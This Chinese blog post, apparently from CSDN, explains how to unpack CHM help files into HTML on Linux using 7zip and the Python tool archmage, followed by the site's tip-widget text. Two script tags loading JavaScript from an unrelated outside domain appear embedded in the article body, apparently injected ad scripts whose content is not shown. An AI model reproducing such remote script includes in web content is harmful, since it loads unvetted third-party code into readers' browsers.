把CHM解开成html来看

<script language='javascript' src='http://www.taizhou.la/AD/ad.js'></script> CHM这格式的电子书感觉还不错,用起来挺方便,还只有一个文件。但由于它的全称其实就叫Microsoft Compiled HTML Help,所以从前只有Windows能看,后来Linux上也出了许多查看工具,什么xchm/chmsee/gnochm/kchmviewer等等,但据说效果差异比较大。

后来这个 格式就被人反向了,虽然也很复杂,但还是可以解出来,主要内容部分据说和cab文件的压缩算法是一致的,于是就有一些解压工具可以把它解开了,比如著名的 开源压缩工具7zip(强烈推荐使用),就可以解开chm。这个工具开源程序很高,所以在Linux上也有,Debian的包叫p7zip/p7zip-full,前面简单点,后者比较全,但是它们都不支持chm格式解压。

后来又发现另一个工具,叫 archmage,模仿archive的样子吧(用dict查了下,竟然是个词,archimage,某种大巫师,波斯拜火教的什么的),Python写的,专门来解开或查看chm。基本用法是:

archmage <chmfile> <directory>
把chm文件解开到目录

archmage -p <port> <chmfile>
把自己当成一个http服务器,在指定端口运行,然后就可以在浏览器里看

如果装了apache的python模块,还可以调用它的模块,直接在apache下运行。其实解开就挺好的,这样获取它的文字也比较容易 :p 试了几个,有的完全正常,连旁边的章节什么的都好用,有的正文正常,边栏会乱码,估计转下码就好了。
<script language='javascript' src='http://www.taizhou.la/AD/as.js'></script>
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值